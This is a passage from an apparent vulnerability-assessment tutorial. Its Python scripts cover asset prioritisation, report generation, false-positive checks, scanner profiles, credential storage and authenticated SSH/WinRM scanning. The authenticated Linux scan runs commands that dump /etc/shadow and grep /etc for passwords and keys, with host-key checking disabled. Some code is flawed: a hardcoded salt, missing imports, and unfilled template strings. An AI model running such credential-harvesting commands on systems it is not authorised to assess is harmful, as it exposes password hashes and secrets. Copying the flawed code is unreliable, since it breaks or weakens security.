# Determine priority tier
if value >= 25:
priority = "Critical"
remediation_time = "24 hours"
elif value >= 20:
priority = "High"
remediation_time = "7 days"
elif value >= 15:
priority = "Medium"
remediation_time = "30 days"
elif value >= 10:
priority = "Low"
remediation_time = "90 days"
else:
priority = "Informational"
remediation_time = "As resources permit"
prioritized.append({
'asset': asset,
'value_score': value,
'priority': priority,
'remediation_time': remediation_time,
'factors': factors
})
# Sort by value score descending
prioritized.sort(key=lambda x: x['value_score'], reverse=True)
return prioritized
# Example usage
assets = [
{
'name': 'DC01',
'function': 'domain_controller',
'data_type': 'internal',
'user_count': 1500,
'internet_facing': False,
'regulated': True
},
{
'name': 'WEBSRV01',
'function': 'web_server',
'data_type': 'pii',
'user_count': 50000,
'internet_facing': True,
'regulated': True
}
]
prioritizer = AssetPrioritizer()
prioritized = prioritizer.prioritize_assets(assets)
print(json.dumps(prioritized, indent=2))Effective reporting communicates findings clearly to technical and non-technical audiences.
#!/usr/bin/env python3
# report_generator.py
import json
import datetime
from typing import List, Dict
import markdown
class VulnerabilityReport:
def __init__(self, assessment_name, client_name):
self.assessment_name = assessment_name
self.client_name = client_name
self.date = datetime.datetime.now()
self.executive_summary = ""
self.scope = {}
self.methodology = []
self.findings = []
self.recommendations = []
self.appendices = {}
def add_executive_summary(self, summary):
"""Add executive summary section"""
self.executive_summary = summary
def add_scope(self, scope_info):
"""Add assessment scope"""
self.scope = scope_info
def add_finding(self, finding):
"""Add vulnerability finding"""
self.findings.append(finding)
def generate_html(self):
"""Generate HTML report"""
# Sort findings by severity
severity_order = {'Critical': 0, 'High': 1, 'Medium': 2, 'Low': 3, 'Info': 4}
self.findings.sort(key=lambda x: severity_order.get(x.get('severity', 'Info'), 5))
html = f"""
<!DOCTYPE html>
<html>
<head>
<title>Vulnerability Assessment Report: {self.client_name}</title>
<style>
body {{ font-family: Arial, sans-serif; margin: 40px; }}
h1 {{ color: #2c3e50; border-bottom: 2px solid #3498db; }}
h2 {{ color: #34495e; margin-top: 30px; }}
h3 {{ color: #7f8c8d; }}
.executive {{ background: #ecf0f1; padding: 20px; border-radius: 5px; }}
.finding {{ margin: 20px 0; padding: 15px; border-left: 4px solid; }}
.critical {{ border-color: #c0392b; }}
.high {{ border-color: #e67e22; }}
.medium {{ border-color: #f1c40f; }}
.low {{ border-color: #27ae60; }}
.info {{ border-color: #3498db; }}
.severity-badge {{ display: inline-block; padding: 3px 8px; border-radius: 3px; color: white; }}
.severity-Critical {{ background: #c0392b; }}
.severity-High {{ background: #e67e22; }}
.severity-Medium {{ background: #f1c40f; color: black; }}
.severity-Low {{ background: #27ae60; }}
.severity-Info {{ background: #3498db; }}
table {{ border-collapse: collapse; width: 100%; }}
th, td {{ border: 1px solid #ddd; padding: 8px; text-align: left; }}
th {{ background-color: #34495e; color: white; }}
.stats {{ display: flex; justify-content: space-around; margin: 30px 0; }}
.stat {{ text-align: center; padding: 20px; background: #ecf0f1; border-radius: 5px; }}
.stat-number {{ font-size: 48px; font-weight: bold; }}
.stat-label {{ font-size: 14px; color: #7f8c8d; }}
</style>
</head>
<body>
<h1>Vulnerability Assessment Report</h1>
<p><strong>Client:</strong> {self.client_name}</p>
<p><strong>Assessment:</strong> {self.assessment_name}</p>
<p><strong>Date:</strong> {self.date.strftime('%B %d, %Y')}</p>
<h2>Executive Summary</h2>
<div class="executive">
{self.executive_summary}
</div>
<h2>Risk Statistics</h2>
<div class="stats">
"""
# Calculate statistics
severity_counts = {
'Critical': 0, 'High': 0, 'Medium': 0, 'Low': 0, 'Info': 0
}
for finding in self.findings:
severity_counts[finding.get('severity', 'Info')] += 1
for severity, count in severity_counts.items():
html += f"""
<div class="stat">
<div class="stat-number" style="color: {self.get_severity_color(severity)}">{count}</div>
<div class="stat-label">{severity}</div>
</div>
"""
html += """
</div>
<h2>Detailed Findings</h2>
"""
for finding in self.findings:
severity = finding.get('severity', 'Info').lower()
html += f"""
<div class="finding {severity}">
<h3>{finding.get('title')}
<span class="severity-badge severity-{finding.get('severity', 'Info')}">
{finding.get('severity', 'Info')}
</span>
</h3>
<p><strong>CVSS Score:</strong> {finding.get('cvss_score', 'N/A')}</p>
<p><strong>Description:</strong> {finding.get('description')}</p>
<p><strong>Impact:</strong> {finding.get('impact')}</p>
<p><strong>Affected Systems:</strong> {', '.join(finding.get('affected_systems', []))}</p>
<p><strong>Recommendation:</strong> {finding.get('recommendation')}</p>
</div>
"""
html += """
</body>
</html>
"""
return html
def get_severity_color(self, severity):
"""Get color code for severity"""
colors = {
'Critical': '#c0392b',
'High': '#e67e22',
'Medium': '#f1c40f',
'Low': '#27ae60',
'Info': '#3498db'
}
return colors.get(severity, '#7f8c8d')
def save_html(self, filename):
"""Save HTML report to file"""
html = self.generate_html()
with open(filename, 'w') as f:
f.write(html)
print(f"[+] HTML report saved to {filename}")
# Example usage
report = VulnerabilityReport("Q3 Infrastructure Assessment", "Example Corp")
report.add_executive_summary("""
This assessment identified several critical vulnerabilities requiring immediate attention.
The most severe issues include unpatched remote code execution vulnerabilities in
internet-facing systems and weak authentication mechanisms in internal applications.
All findings have been validated and remediation recommendations are provided below.
""")
report.add_finding({
'title': 'SQL Injection in Login Form',
'severity': 'Critical',
'cvss_score': 9.8,
'description': 'The login form at /login.php is vulnerable to SQL injection attacks.',
'impact': 'Attackers can bypass authentication and access all user data.',
'affected_systems': ['webserver01 (192.168.1.100)'],
'recommendation': 'Implement parameterized queries and input validation.'
})
report.save_html("vulnerability_report.html")#!/usr/bin/env python3
# executive_summary.py
class ExecutiveSummaryGenerator:
def __init__(self, assessment_data):
self.data = assessment_data
def generate_summary(self):
"""Generate executive summary from assessment data"""
summary = f"""
<h3>Assessment Overview</h3>
<p>
From {self.data['start_date']} to {self.data['end_date']}, {self.data['assessor']}
performed a comprehensive vulnerability assessment of {self.data['scope_description']}.
The assessment identified a total of {self.data['total_findings']} vulnerabilities
across {self.data['total_systems']} systems.
</p>
<h3>Key Findings</h3>
<ul>
"""
for finding in self.data['key_findings']:
summary += f"<li><strong>{finding['title']}</strong>: {finding['description']}</li>"
summary += """
</ul>
<h3>Risk Exposure</h3>
<p>
The organization faces significant risk from {self.data['critical_count']} critical and
{self.data['high_count']} high-severity vulnerabilities. Of particular concern are
internet-facing systems with known exploitable vulnerabilities.
</p>
<h3>Recommended Actions</h3>
<ol>
"""
for rec in self.data['recommendations'][:5]: # Top 5 recommendations
summary += f"<li><strong>{rec['priority']}</strong>: {rec['description']}</li>"
summary += """
</ol>
<h3>Conclusion</h3>
<p>
{self.data['conclusion']}
</p>
"""
return summary
# Example data
assessment_data = {
'start_date': 'September 1, 2024',
'end_date': 'September 15, 2024',
'assessor': 'Kali Professional Services',
'scope_description': 'the internal network (10.0.0.0/8) and external web applications',
'total_findings': 47,
'total_systems': 156,
'critical_count': 8,
'high_count': 15,
'key_findings': [
{'title': 'EOL Operating Systems',
'description': '23 systems running Windows 7 or Server 2008 which are no longer supported'},
{'title': 'Default Credentials',
'description': 'Network devices with default administrative credentials'},
{'title': 'Unpatched Vulnerabilities',
'description': 'Critical RCE vulnerabilities in internet-facing web servers'}
],
'recommendations': [
{'priority': 'Immediate',
'description': 'Patch or isolate systems with critical RCE vulnerabilities'},
{'priority': 'High',
'description': 'Replace all end-of-life operating systems'},
{'priority': 'High',
'description': 'Implement multi-factor authentication for all administrative access'},
{'priority': 'Medium',
'description': 'Conduct regular vulnerability scans and establish patch management process'},
{'priority': 'Medium',
'description': 'Develop and implement security awareness training'}
],
'conclusion': 'While the organization has implemented basic security controls, significant gaps exist in patch management and configuration hardening. A focused remediation effort addressing the identified vulnerabilities will substantially improve the security posture.'
}
generator = ExecutiveSummaryGenerator(assessment_data)
summary = generator.generate_summary()
print(summary)Managing false positives is critical for maintaining the credibility and usefulness of vulnerability assessments.
#!/usr/bin/env python3
# false_positive_analysis.py
import json
import subprocess
import re
from typing import Dict, List
class FalsePositiveAnalyzer:
def __init__(self):
self.false_positive_patterns = {
'missing_headers': [
'X-Frame-Options',
'X-Content-Type-Options',
'Content-Security-Policy'
],
'version_mismatch': [
r'Server: Apache/(\d+\.\d+\.\d+)',
r'nginx/(\d+\.\d+\.\d+)'
],
'default_pages': [
'Apache2 Default Page',
'Welcome to nginx',
'IIS Windows Server'
]
}
def analyze_finding(self, finding: Dict) -> Dict:
"""Analyze finding for false positive indicators"""
fp_indicators = []
confidence = "low"
# Check finding type
finding_type = finding.get('type', '')
if finding_type == 'missing_header':
# Verify if header is actually missing
header_name = finding.get('header')
actual_headers = self.check_headers(finding.get('target'))
if header_name in actual_headers:
fp_indicators.append(f"Header {header_name} actually present")
elif finding_type == 'outdated_version':
# Verify version
actual_version = self.get_actual_version(finding.get('target'))
reported_version = finding.get('version')
if actual_version == reported_version:
# Version matches, likely not false positive
pass
else:
fp_indicators.append(f"Version mismatch: reported {reported_version}, actual {actual_version}")
elif finding_type == 'default_page':
# Check if it's actually a default page
content = self.get_page_content(finding.get('target'))
for pattern in self.false_positive_patterns['default_pages']:
if pattern in content:
fp_indicators.append(f"Default page pattern '{pattern}' found")
confidence = "high"
# Calculate false positive probability
if len(fp_indicators) > 0:
probability = min(len(fp_indicators) * 0.3, 0.9) # Max 90%
else:
probability = 0.1
return {
'finding_id': finding.get('id'),
'false_positive_indicators': fp_indicators,
'false_positive_probability': probability,
'confidence': confidence,
'requires_manual_review': probability > 0.7
}
def check_headers(self, target):
"""Check actual HTTP headers"""
try:
import requests
response = requests.get(f"http://{target}", timeout=5, verify=False)
return response.headers
except:
return {}
def get_actual_version(self, target):
"""Get actual software version"""
try:
import requests
response = requests.get(f"http://{target}", timeout=5, verify=False)
server = response.headers.get('Server', '')
# Extract version from Server header
for pattern in self.false_positive_patterns['version_mismatch']:
match = re.search(pattern, server)
if match:
return match.group(1)
except:
pass
return None
def get_page_content(self, target):
"""Get page content"""
try:
import requests
response = requests.get(f"http://{target}", timeout=5, verify=False)
return response.text
except:
return ""
def batch_analyze(self, findings: List[Dict]) -> List[Dict]:
"""Analyze multiple findings"""
results = []
for finding in findings:
analysis = self.analyze_finding(finding)
if analysis['false_positive_probability'] > 0.5:
results.append(analysis)
return results
# Example usage
analyzer = FalsePositiveAnalyzer()
findings = [
{
'id': 'FP001',
'type': 'missing_header',
'header': 'X-Frame-Options',
'target': 'example.com'
}
]
results = analyzer.batch_analyze(findings)
print(json.dumps(results, indent=2))#!/usr/bin/env python3
# validation_workflow.py
import json
import datetime
from enum import Enum
class ValidationStatus(Enum):
PENDING = "pending"
CONFIRMED = "confirmed"
FALSE_POSITIVE = "false_positive"
WONTFIX = "wontfix"
NOT_APPLICABLE = "n/a"
class ValidationWorkflow:
def __init__(self):
self.findings_db = {}
self.validation_queue = []
def add_finding(self, finding):
"""Add finding to validation queue"""
finding_id = finding.get('id', f"VULN-{len(self.findings_db)+1:04d}")
finding['id'] = finding_id
finding['validation_status'] = ValidationStatus.PENDING.value
finding['validation_notes'] = []
finding['last_validated'] = None
self.findings_db[finding_id] = finding
self.validation_queue.append(finding_id)
return finding_id
def manual_validate(self, finding_id, validator, notes, status):
"""Manually validate a finding"""
if finding_id not in self.findings_db:
return False
finding = self.findings_db[finding_id]
validation_entry = {
'timestamp': datetime.datetime.now().isoformat(),
'validator': validator,
'notes': notes,
'status': status.value
}
finding['validation_notes'].append(validation_entry)
finding['validation_status'] = status.value
finding['last_validated'] = validation_entry['timestamp']
# Remove from queue if validated
if finding_id in self.validation_queue:
self.validation_queue.remove(finding_id)
return True
def auto_validate(self, analyzer):
"""Automatically validate findings"""
validated = []
for finding_id in list(self.validation_queue):
finding = self.findings_db[finding_id]
# Use analyzer to check for false positives
analysis = analyzer.analyze_finding(finding)
if analysis['false_positive_probability'] > 0.8:
# High probability of false positive
self.manual_validate(
finding_id,
"Auto-Validator",
f"Auto-validated as false positive (confidence: {analysis['confidence']})",
ValidationStatus.FALSE_POSITIVE
)
validated.append({
'finding_id': finding_id,
'action': 'false_positive',
'confidence': analysis['false_positive_probability']
})
elif analysis['false_positive_probability'] < 0.2:
# Low probability of false positive
self.manual_validate(
finding_id,
"Auto-Validator",
f"Auto-validated as confirmed (confidence: {analysis['confidence']})",
ValidationStatus.CONFIRMED
)
validated.append({
'finding_id': finding_id,
'action': 'confirmed',
'confidence': analysis['false_positive_probability']
})
return validated
def generate_validation_report(self):
"""Generate validation status report"""
report = {
'total_findings': len(self.findings_db),
'pending_validation': len(self.validation_queue),
'validation_summary': {},
'findings': []
}
# Count by status
for finding in self.findings_db.values():
status = finding['validation_status']
report['validation_summary'][status] = report['validation_summary'].get(status, 0) + 1
# Add to findings list
report['findings'].append({
'id': finding['id'],
'title': finding.get('title', ''),
'status': status,
'last_validated': finding['last_validated']
})
return report
# Example usage
workflow = ValidationWorkflow()
analyzer = FalsePositiveAnalyzer()
# Add some findings
finding1 = {
'title': 'SQL Injection',
'type': 'sql_injection',
'severity': 'Critical',
'target': '192.168.1.100'
}
finding2 = {
'title': 'Missing X-Frame-Options',
'type': 'missing_header',
'header': 'X-Frame-Options',
'target': '192.168.1.100'
}
id1 = workflow.add_finding(finding1)
id2 = workflow.add_finding(finding2)
# Auto-validate
validated = workflow.auto_validate(analyzer)
print(f"Auto-validated {len(validated)} findings")
# Manual validation
workflow.manual_validate(
id1,
"John Smith",
"Manually verified SQL injection using sqlmap",
ValidationStatus.CONFIRMED
)
# Generate report
report = workflow.generate_validation_report()
print(json.dumps(report, indent=2))Vulnerability scanners automate the process of identifying security weaknesses across networks and applications. This chapter covers the configuration, tuning, and effective use of both open-source and commercial scanners.
Proper scanner configuration ensures accurate results while minimizing false positives and network impact.
#!/usr/bin/env python3
# scanner_config.py
import json
import ipaddress
from typing import List, Dict
class ScannerConfiguration:
def __init__(self):
self.config = {
'general': {
'name': '',
'scan_type': 'full',
'max_hosts': 256,
'max_ports': 1000,
'timeout': 30,
'retries': 3,
'throttle': 100, # packets per second
'randomize_hosts': True,
'randomize_ports': True
},
'discovery': {
'ping_types': ['icmp', 'tcp_syn', 'tcp_ack', 'udp', 'arp'],
'ping_timeout': 2,
'max_rtt': 5000,
'host_timeout': 10
},
'port_scan': {
'technique': 'connect', # connect, syn, fin, xmas, null
'port_range': '1-1000',
'exclude_ports': [],
'service_detection': True,
'version_intensity': 7
},
'vulnerability_scan': {
'enabled': True,
'plugins': ['all'],
'exclude_plugins': [],
'safe_checks': True,
'performance_impact': 'normal', # low, normal, high
'stop_on_first': False
},
'web_scan': {
'enabled': False,
'user_agent': 'Mozilla/5.0 Scanner',
'max_pages': 100,
'max_depth': 3,
'follow_redirects': True,
'cookie_jar': None,
'http_methods': ['GET', 'POST', 'HEAD'],
'detect_technologies': True
},
'credentials': {
'windows': [],
'linux': [],
'web': [],
'database': []
},
'logging': {
'level': 'info',
'file': '/var/log/scanner.log',
'verbose': True,
'debug': False
},
'output': {
'formats': ['xml', 'html', 'json'],
'report_name': '',
'include_debug_info': False,
'compress_report': False
}
}
def load_config(self, filename: str) -> bool:
"""Load configuration from JSON file"""
try:
with open(filename, 'r') as f:
loaded_config = json.load(f)
self.config.update(loaded_config)
return True
except Exception as e:
print(f"Error loading config: {e}")
return False
def save_config(self, filename: str):
"""Save configuration to JSON file"""
with open(filename, 'w') as f:
json.dump(self.config, f, indent=2)
def set_targets(self, targets: List[str]):
"""Set scan targets"""
validated_targets = []
for target in targets:
try:
# Check if it's a CIDR range
if '/' in target:
network = ipaddress.ip_network(target, strict=False)
validated_targets.append(str(network))
else:
# Single IP or hostname
ipaddress.ip_address(target)
validated_targets.append(target)
except:
# Assume it's a hostname
validated_targets.append(target)
self.config['targets'] = validated_targets
return validated_targets
def create_scan_profile(self, name: str, profile_type: str):
"""Create predefined scan profile"""
profiles = {
'quick': {
'scan_type': 'quick',
'max_hosts': 100,
'max_ports': 100,
'throttle': 500,
'port_range': '1-1000',
'vulnerability_scan': {'enabled': False},
'web_scan': {'enabled': False}
},
'standard': {
'scan_type': 'standard',
'max_hosts': 256,
'max_ports': 1000,
'throttle': 200,
'port_range': '1-10000',
'vulnerability_scan': {'enabled': True, 'safe_checks': True},
'web_scan': {'enabled': False}
},
'comprehensive': {
'scan_type': 'comprehensive',
'max_hosts': 50,
'max_ports': 65535,
'throttle': 50,
'port_range': '1-65535',
'vulnerability_scan': {'enabled': True, 'safe_checks': False, 'performance_impact': 'high'},
'web_scan': {'enabled': True, 'max_pages': 500}
},
'stealth': {
'scan_type': 'stealth',
'max_hosts': 50,
'max_ports': 500,
'throttle': 10,
'port_range': '1-1000',
'discovery': {'ping_types': ['tcp_syn']},
'port_scan': {'technique': 'syn'},
'vulnerability_scan': {'enabled': True, 'safe_checks': True},
'web_scan': {'enabled': False}
}
}
if profile_type in profiles:
self.config.update(profiles[profile_type])
self.config['profile_name'] = name
return True
return False
# Example usage
scanner_config = ScannerConfiguration()
scanner_config.create_scan_profile('Internal Network Scan', 'comprehensive')
scanner_config.set_targets(['10.0.0.0/24', '192.168.1.100'])
scanner_config.save_config('scan_config.json')#!/usr/bin/env python3
# performance_tuning.py
import time
import psutil
import threading
from typing import Dict
class ScanOptimizer:
def __init__(self):
self.system_stats = self.get_system_stats()
self.scan_stats = {
'packets_sent': 0,
'packets_received': 0,
'scan_duration': 0,
'hosts_scanned': 0,
'ports_scanned': 0,
'errors': 0
}
def get_system_stats(self) -> Dict:
"""Get current system resource statistics"""
return {
'cpu_percent': psutil.cpu_percent(interval=1),
'memory_percent': psutil.virtual_memory().percent,
'network_sent': psutil.net_io_counters().bytes_sent,
'network_recv': psutil.net_io_counters().bytes_recv
}
def calculate_optimal_threads(self) -> int:
"""Calculate optimal thread count based on system resources"""
cpu_count = psutil.cpu_count()
memory_available = psutil.virtual_memory().available / (1024 * 1024) # MB
# Base calculation
optimal_threads = cpu_count * 4
# Adjust based on memory
if memory_available < 512: # Less than 512MB free
optimal_threads = optimal_threads // 2
elif memory_available > 4096: # More than 4GB free
optimal_threads = optimal_threads * 2
# Cap at reasonable limits
optimal_threads = max(1, min(optimal_threads, 100))
return optimal_threads
def calculate_optimal_rate(self, target_network: str) -> int:
"""Calculate optimal packet rate based on network conditions"""
# Measure baseline network latency
try:
import subprocess
result = subprocess.run(
['ping', '-c', '5', '-W', '1', target_network.split('/')[0]],
capture_output=True,
text=True,
timeout=10
)
# Parse average latency
for line in result.stdout.split('\n'):
if 'avg' in line:
avg_latency = float(line.split('/')[4])
break
else:
avg_latency = 50 # Default assumption
except:
avg_latency = 50
# Calculate rate based on latency
if avg_latency < 10: # Very fast network
return 1000
elif avg_latency < 50: # Fast network
return 500
elif avg_latency < 100: # Average network
return 200
elif avg_latency < 200: # Slow network
return 100
else: # Very slow network
return 50
def monitor_scan_performance(self, scan_function):
"""Decorator to monitor scan performance"""
def wrapper(*args, **kwargs):
start_time = time.time()
start_stats = self.get_system_stats()
# Run the scan
result = scan_function(*args, **kwargs)
end_time = time.time()
end_stats = self.get_system_stats()
# Calculate metrics
duration = end_time - start_time
cpu_usage = (end_stats['cpu_percent'] + start_stats['cpu_percent']) / 2
memory_used = end_stats['memory_percent'] - start_stats['memory_percent']
network_sent = end_stats['network_sent'] - start_stats['network_sent']
network_recv = end_stats['network_recv'] - start_stats['network_recv']
# Update scan stats
self.scan_stats.update({
'scan_duration': duration,
'avg_cpu_usage': cpu_usage,
'memory_used': memory_used,
'network_sent_mb': network_sent / (1024 * 1024),
'network_recv_mb': network_recv / (1024 * 1024)
})
print(f"\n[+] Scan Performance Metrics:")
print(f" Duration: {duration:.2f} seconds")
print(f" Avg CPU Usage: {cpu_usage:.1f}%")
print(f" Memory Used: {memory_used:.1f}%")
print(f" Network Sent: {network_sent/(1024*1024):.2f} MB")
print(f" Network Received: {network_recv/(1024*1024):.2f} MB")
return result
return wrapper
# Example usage
optimizer = ScanOptimizer()
optimal_threads = optimizer.calculate_optimal_threads()
optimal_rate = optimizer.calculate_optimal_rate('192.168.1.0/24')
print(f"[+] Optimal thread count: {optimal_threads}")
print(f"[+] Optimal packet rate: {optimal_rate} pkts/sec")Authenticated scanning provides deeper visibility by logging into systems to examine configuration and patch levels.
#!/usr/bin/env python3
# credential_manager.py
import json
import getpass
import base64
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2
class CredentialManager:
def __init__(self, key_file='.scan_key'):
self.key_file = key_file
self.key = self.load_or_create_key()
self.cipher = Fernet(self.key)
self.credentials = {}
def load_or_create_key(self):
"""Load existing key or create new one"""
try:
with open(self.key_file, 'rb') as f:
return f.read()
except FileNotFoundError:
# Generate key from password
password = getpass.getpass("Enter master password for credential storage: ")
salt = b'salt_' # In production, use random salt
kdf = PBKDF2(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=100000,
)
key = base64.urlsafe_b64encode(kdf.derive(password.encode()))
# Save key
with open(self.key_file, 'wb') as f:
f.write(key)
return key
def add_credential(self, host: str, username: str, password: str,
domain: str = None, cred_type: str = 'local'):
"""Add encrypted credential"""
cred_id = f"{host}_{username}"
credential = {
'host': host,
'username': username,
'password': password,
'domain': domain,
'type': cred_type,
'added': time.strftime('%Y-%m-%d %H:%M:%S')
}
# Encrypt the credential
encrypted = self.cipher.encrypt(json.dumps(credential).encode())
self.credentials[cred_id] = encrypted
return cred_id
def get_credential(self, cred_id: str) -> Dict:
"""Retrieve and decrypt credential"""
if cred_id not in self.credentials:
return None
encrypted = self.credentials[cred_id]
decrypted = self.cipher.decrypt(encrypted)
return json.loads(decrypted)
def find_credentials_for_host(self, host: str, cred_type: str = None) -> List[Dict]:
"""Find all credentials for a specific host"""
found = []
for cred_id in self.credentials:
if host in cred_id:
cred = self.get_credential(cred_id)
if cred_type is None or cred['type'] == cred_type:
found.append(cred)
return found
def save_credentials(self, filename: str):
"""Save encrypted credentials to file"""
with open(filename, 'w') as f:
# Convert bytes to string for JSON
serializable = {k: v.decode() for k, v in self.credentials.items()}
json.dump(serializable, f)
def load_credentials(self, filename: str):
"""Load encrypted credentials from file"""
with open(filename, 'r') as f:
serializable = json.load(f)
self.credentials = {k: v.encode() for k, v in serializable.items()}
# Example usage
cm = CredentialManager()
cm.add_credential('192.168.1.100', 'administrator', 'P@ssw0rd123', 'DOMAIN', 'windows')
cm.save_credentials('scan_creds.json')#!/usr/bin/env python3
# authenticated_scan.py
import subprocess
import json
from typing import List, Dict
class AuthenticatedScanner:
def __init__(self, credential_manager):
self.cred_manager = credential_manager
def prepare_linux_scan(self, host: str, credentials: Dict):
"""Prepare authenticated Linux scan"""
# Create SSH command for remote execution
ssh_cmd = [
'sshpass', '-p', credentials['password'],
'ssh', '-o', 'StrictHostKeyChecking=no',
'-o', 'ConnectTimeout=10',
f"{credentials['username']}@{host}"
]
# Commands to gather system information
commands = [
'uname -a',
'cat /etc/os-release',
'dpkg -l || rpm -qa', # Package list
'sudo -l', # Sudo privileges
'cat /etc/passwd',
'cat /etc/shadow',
'find / -type f -perm -4000 -ls 2>/dev/null', # SUID files
'systemctl list-units --type=service --all', # Services
'crontab -l',
'ls -la /etc/cron*',
'ss -tulpn',
'iptables -L -n',
'grep -r "PASSWORD\|SECRET\|KEY" /etc/ 2>/dev/null'
]
results = {}
for cmd in commands:
try:
full_cmd = ssh_cmd + [cmd]
result = subprocess.run(
full_cmd,
capture_output=True,
text=True,
timeout=30
)
results[cmd] = result.stdout
except Exception as e:
results[cmd] = f"Error: {e}"
return results
def prepare_windows_scan(self, host: str, credentials: Dict):
"""Prepare authenticated Windows scan using PowerShell Remoting"""
# Using PowerShell Remoting (WinRM)
ps_commands = [
'Get-ComputerInfo',
'Get-WmiObject Win32_OperatingSystem',
'Get-Service',
'Get-Process',
'Get-LocalUser',
'Get-LocalGroupMember Administrators',
'Get-ScheduledTask',
'Get-ChildItem Env:',
'Get-WmiObject Win32_Product',
'Get-HotFix',
'Get-NetTCPConnection',
'Get-NetFirewallProfile'
]
results = {}
for cmd in ps_commands:
# Using PowerShell Remoting
ps_cmd = [
'powershell',
'-Command',
f'Invoke-Command -ComputerName {host} -Credential (New-Object System.Management.Automation.PSCredential("{credentials["username"]}", (ConvertTo-SecureString "{credentials["password"]}" -AsPlainText -Force))) -ScriptBlock {{{cmd}}}'
]
# This is simplified - actual implementation would use proper WinRM
results[cmd] = "Implementation requires proper WinRM setup"
return results
def run_authenticated_scan(self, hosts: List[str], cred_type: str = 'local'):
"""Run authenticated scans on multiple hosts"""
results = {}
for host in hosts:
# Find credentials for this host
creds = self.cred_manager.find_credentials_for_host(host, cred_type)
if not creds:
print(f"[!] No credentials found for {host}")
continue
# Try each credential
for cred in creds:
print(f"[*] Attempting authenticated scan of {host} with {cred['username']}")
if cred['type'] == 'linux':
host_results = self.prepare_linux_scan(host, cred)
elif cred['type'] == 'windows':
host_results = self.prepare_windows_scan(host, cred)
else:
continue
if host_results:
results[host] = {
'credential_used': cred['username'],
'scan_results': host_results
}
break # Stop after first successful credential
return results
# Example usage
cred_manager = CredentialManager()
scanner = AuthenticatedScanner(cred_manager)
results = scanner.run_authenticated_scan(['192.168.1.100'])Optimizing scans reduces time and network impact while maintaining coverage.
#!/usr/bin/env python3
# scan_optimization.py
import ipaddress
import time
from collections import defaultdict
class IntelligentScanner:
def __init__(self):
self.scan_history = {}
self.network_profiles = defaultdict(dict)
def learn_network_patterns(self, scan_results: Dict):
"""Learn patterns from previous scans"""
for host, result in scan_results.items():
ip = ipaddress.ip_address(host)
# Group by network
network = str(ipaddress.ip_network(f"{ip}/24", strict=False))
# Learn common ports
open_ports = result.get('open_ports', [])
for port in open_ports:
if port not in self.network_profiles[network]:
self.network_profiles[network][port] = 1
else:
self.network_profiles[network][port] += 1
def predict_ports(self, ip: str) -> List[int]:
"""Predict likely open ports based on network patterns"""
ip_obj = ipaddress.ip_address(ip)
network = str(ipaddress.ip_network(f"{ip_obj}/24", strict=False))
if network not in self.network_profiles:
return [80, 443, 22, 21, 25, 53, 110, 143] # Default common ports
# Sort by frequency
profile = self.network_profiles[network]
sorted_ports = sorted(profile.items(), key=lambda x: x[1], reverse=True)
return [port for port, count in sorted_ports[:20]]
def adaptive_scan(self, target: str, initial_scan: bool = True):
"""Adapt scan based on initial findings"""
if initial_scan:
# Quick initial scan
ports = self.predict_ports(target)[:5] # Top 5 predicted ports
# Perform quick scan
quick_results = self.quick_scan(target, ports)
# Analyze results to determine next steps
if self.is_web_server(quick_results):
# Deep web scan
return self.deep_web_scan(target)
elif self.is_database_server(quick_results):
# Database-focused scan
return self.database_scan(target)
else:
# Standard comprehensive scan
return self.comprehensive_scan(target)
else:
# Full scan based on learned patterns
all_predicted = self.predict_ports(target)
return self.full_scan(target, all_predicted)
def quick_scan(self, target: str, ports: List[int]) -> Dict:
"""Perform quick scan on specified ports"""
print(f"[*] Quick scanning {target} on ports {ports}")
import nmap
nm = nmap.PortScanner()
port_str = ','.join(map(str, ports))
nm.scan(target, port_str, arguments='-sS -T4')
return nm[target] if target in nm else {}
def is_web_server(self, scan_results: Dict) -> bool:
"""Determine if target is a web server"""
web_ports = [80, 443, 8080, 8443]
for port in web_ports:
if port in scan_results.get('tcp', {}):
service = scan_results['tcp'][port].get('name', '')
if 'http' in service or 'www' in service:
return True
return False
def is_database_server(self, scan_results: Dict) -> bool:
"""Determine if target is a database server"""
db_ports = {
3306: 'mysql',
5432: 'postgresql',
1521: 'oracle',
1433: 'mssql',
27017: 'mongodb'
}
for port, db_type in db_ports.items():
if port in scan_results.get('tcp', {}):
service = scan_results['tcp'][port].get('name', '')
if db_type in service:
return True
return False
def deep_web_scan(self, target: str) -> Dict:
"""Perform deep web application scan"""
print(f"[*] Performing deep web scan on {target}")
# Use specialized web scanners
web_results = {
'nikto': self.run_nikto(target),
'whatweb': self.run_whatweb(target),
'dirb': self.run_dirb(target),
'wapiti': self.run_wapiti(target)
}
return web_results
def database_scan(self, target: str) -> Dict:
"""Perform database-focused scan"""
print(f"[*] Performing database scan on {target}")
db_results = {
'version_scan': self.database_version_check(target),
'default_creds': self.check_default_credentials(target),
'sql_scan': self.run_sqlmap(target)
}
return db_results
def comprehensive_scan(self, target: str) -> Dict:
"""Perform comprehensive system scan"""
print(f"[*] Performing comprehensive scan on {target}")
import nmap
nm = nmap.PortScanner()
# Full port scan with version detection and default scripts
nm.scan(target, arguments='-sS -sV -sC -O -p- --min-rate 1000')
return nm[target] if target in nm else {}
# Placeholder methods for external tools
def run_nikto(self, target): return {"status": "placeholder"}
def run_whatweb(self, target): return {"status": "placeholder"}
def run_dirb(self, target): return {"status": "placeholder"}
def run_wapiti(self, target): return {"status": "placeholder"}
def database_version_check(self, target): return {"status": "placeholder"}
def check_default_credentials(self, target): return {"status": "placeholder"}
def run_sqlmap(self, target): return {"status": "placeholder"}
def full_scan(self, target, ports): return {"status": "placeholder"}
# Example usage
scanner = IntelligentScanner()
# After initial scan
scanner.learn_network_patterns({
'192.168.1.100': {'open_ports': [80, 443, 22]},
'192.168.1.101': {'open_ports': [80, 3306]}
})
# Adaptive scan for new host
results = scanner.adaptive_scan('192.168.1.102')
print(json.dumps(results, indent=2))#!/usr/bin/env python3
# distributed_scan.py
import socket
import json
import threading
import queue
import time
from typing import List, Dict
class ScanWorker:
def __init__(self, worker_id, controller_host, controller_port):
self.worker_id = worker_id
self.controller_host = controller_host
self.controller_port = controller_port
self.running = True
self.task_queue = queue.Queue()
self.results_queue = queue.Queue()
def register_with_controller(self):
"""Register this worker with the controller"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.controller_host, self.controller_port))
registration = {
'type': 'register',
'worker_id': self.worker_id,
'capabilities': ['nmap', 'masscan', 'nikto']
}
sock.send(json.dumps(registration).encode())
sock.close()
except Exception as e:
